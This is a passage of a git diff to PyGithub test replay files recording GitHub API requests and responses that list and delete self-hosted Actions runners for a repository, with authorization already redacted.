'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C348:313D:D919B0:202918B:5F56AF39')] + + +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection/actions/runners +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e180057e7da9736b4441f820ae26460d"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4890'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '110'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C349:4AD9:B9E781:1E2DFAF:5F56AF39')] +{"total_count":18,"runners":[{"id":1798,"name":"9d2952aef5aa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2277,"name":"88ADCADD92D4","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2278,"name":"093907886ea1","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2279,"name":"8d76e65a5af4","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2280,"name":"E0104B7E46E6","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2285,"name":"D32B478DA550","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2286,"name":"e57f9c9428a3","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2287,"name":"47f2935f82dc","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2288,"name":"99BCE43F51C7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2305,"name":"D9DB5B61EA8C","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2306,"name":"3C1625B27C15","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2307,"name":"7df000e59323","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2308,"name":"b0c40e8673fa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2333,"name":"87F7ACAF675F","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2334,"name":"EAC26A0279E7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2335,"name":"9937690d9454","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2336,"name":"2a252d515d8f","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} diff --git a/tests/ReplayData/PullRequest1684.testDeleteRunnerObject.txt b/tests/ReplayData/PullRequest1684.testDeleteRunnerObject.txt index 75f67c266e..46bd208db8 100644 --- a/tests/ReplayData/PullRequest1684.testDeleteRunnerObject.txt +++ b/tests/ReplayData/PullRequest1684.testDeleteRunnerObject.txt @@ -1,55 +1,54 @@ -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection/actions/runners?per_page=1 -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"944c73b715b546018cb2f5a1f1598543"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4887'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '113'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C34C:56EA:183138F:383EFC0:5F56AF3A')] -{"total_count":18,"runners":[{"id":1798,"name":"9d2952aef5aa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} - -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection/actions/runners -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e180057e7da9736b4441f820ae26460d"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4886'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '114'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C34E:041C:2E3B11C:4DFB2D2:5F56AF3B')] -{"total_count":18,"runners":[{"id":1798,"name":"9d2952aef5aa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2277,"name":"88ADCADD92D4","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2278,"name":"093907886ea1","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2279,"name":"8d76e65a5af4","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2280,"name":"E0104B7E46E6","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2285,"name":"D32B478DA550","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2286,"name":"e57f9c9428a3","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2287,"name":"47f2935f82dc","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2288,"name":"99BCE43F51C7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2305,"name":"D9DB5B61EA8C","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2306,"name":"3C1625B27C15","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2307,"name":"7df000e59323","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2308,"name":"b0c40e8673fa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2333,"name":"87F7ACAF675F","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2334,"name":"EAC26A0279E7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2335,"name":"9937690d9454","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2336,"name":"2a252d515d8f","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} - -https -DELETE -api.github.com -None -/repos/ReDASers/Phishing-Detection/actions/runners/1798 -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -204 -[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:56 GMT'), ('Status', '204 No Content'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4885'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '115'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C34F:313C:A3419C:167BC1A:5F56AF3B')] - - -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection/actions/runners -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"319e363a509450940f067a0664f144b4"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4884'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '116'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C38C:52FF:2A3EFA8:47A5772:5F56AF3C')] -{"total_count":17,"runners":[{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2277,"name":"88ADCADD92D4","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2278,"name":"093907886ea1","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2279,"name":"8d76e65a5af4","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2280,"name":"E0104B7E46E6","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2285,"name":"D32B478DA550","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2286,"name":"e57f9c9428a3","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2287,"name":"47f2935f82dc","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2288,"name":"99BCE43F51C7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2305,"name":"D9DB5B61EA8C","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2306,"name":"3C1625B27C15","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2307,"name":"7df000e59323","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2308,"name":"b0c40e8673fa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2333,"name":"87F7ACAF675F","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2334,"name":"EAC26A0279E7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2335,"name":"9937690d9454","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2336,"name":"2a252d515d8f","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} - -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection/actions/runners?per_page=1 -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e95d50aa8334be2e422c2ffe9614df24"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4883'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '117'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C38D:56EB:2F1A367:4E3245A:5F56AF3C')] -{"total_count":17,"runners":[{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} - +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection/actions/runners?per_page=1 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"944c73b715b546018cb2f5a1f1598543"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4887'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '113'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C34C:56EA:183138F:383EFC0:5F56AF3A')] +{"total_count":18,"runners":[{"id":1798,"name":"9d2952aef5aa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} + +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection/actions/runners +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e180057e7da9736b4441f820ae26460d"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4886'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '114'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C34E:041C:2E3B11C:4DFB2D2:5F56AF3B')] +{"total_count":18,"runners":[{"id":1798,"name":"9d2952aef5aa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2277,"name":"88ADCADD92D4","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2278,"name":"093907886ea1","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2279,"name":"8d76e65a5af4","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2280,"name":"E0104B7E46E6","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2285,"name":"D32B478DA550","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2286,"name":"e57f9c9428a3","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2287,"name":"47f2935f82dc","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2288,"name":"99BCE43F51C7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2305,"name":"D9DB5B61EA8C","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2306,"name":"3C1625B27C15","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2307,"name":"7df000e59323","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2308,"name":"b0c40e8673fa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2333,"name":"87F7ACAF675F","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2334,"name":"EAC26A0279E7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2335,"name":"9937690d9454","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2336,"name":"2a252d515d8